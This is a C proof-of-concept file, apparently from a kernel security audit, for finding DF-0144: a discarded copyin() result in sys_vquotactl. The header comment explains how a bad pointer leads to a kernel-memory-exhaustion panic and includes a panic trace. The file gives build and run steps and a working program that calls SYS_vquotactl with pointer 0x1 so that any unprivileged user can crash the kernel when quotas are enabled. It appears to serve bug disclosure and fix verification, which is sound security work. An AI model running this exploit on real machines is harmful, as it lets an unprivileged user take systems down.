/*
 * DF-0144 - copyin return value silently discarded before prop_dictionary_copyin.
 *
 * sys/kern/vfs_quota.c sys_vquotactl():
 *   345:  error = copyin(vqa->pref, &pref, sizeof(pref));
 *   346:  error = prop_dictionary_copyin(&pref, &dict);   <-- overwrites copyin rc
 *
 * The copyin() result on line 345 is unconditionally overwritten on line 346.
 * If copyin() fails (EFAULT from an invalid pref pointer), `pref` is
 * UNINITIALIZED stack garbage, yet prop_dictionary_copyin(&pref, ...) is called
 * anyway. _prop_object_copyin interprets the garbage struct plistref as a
 * serialized object and drives kmalloc until kernel_map is exhausted -> panic:
 *
 *   panic: kmem_slab_alloc(): kernel_map ran out of space!
 *   _prop_object_copyin.isra.0() at ...0xffffffff809dfe55
 *   sys_vquotactl() at sys_vquotactl+0x50 0xffffffff806fd750
 *
 * So the impact is a local DoS (deterministic kernel panic), stronger than the
 * "stale EFAULT" the finding text describes.  No privilege check guards the
 * syscall, so any unprivileged user can panic the kernel.
 *
 * Precondition (realistic, opt-in): vfs.quota_enabled=1 in /boot/loader.conf.
 *
 * Build:  cc -o df0144_poc df0144_poc.c
 * Run:    ./df0144_poc            # panics the kernel (guest dies)
 */
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>

int
main(void)
{
	const char *path = "/tmp";
	/* An invalid pref pointer: copyin() must fail with EFAULT, but the
	 * discarded result lets prop_dictionary_copyin run on uninitialized
	 * `pref` and panic. */
	void *bad_pref = (void *)0x1;
	long r;

	errno = 0;
	r = syscall(SYS_vquotactl, path, bad_pref);
	/* If we reach here the kernel did NOT panic -> either copyin was checked
	 * (fixed) or vfs_quota_enabled=0 (EOPNOTSUPP=45). */
	printf("vquotactl returned %ld errno=%d (%s)\n", r, errno, strerror(errno));
	if (errno == 14)
		printf("EFAULT properly propagated (FIXED behavior)\n");
	else if (errno == 45)
		printf("EOPNOTSUPP: vfs.quota_enabled=0 (gate closed)\n");
	else
		printf("unexpected result\n");
	return 0;
}
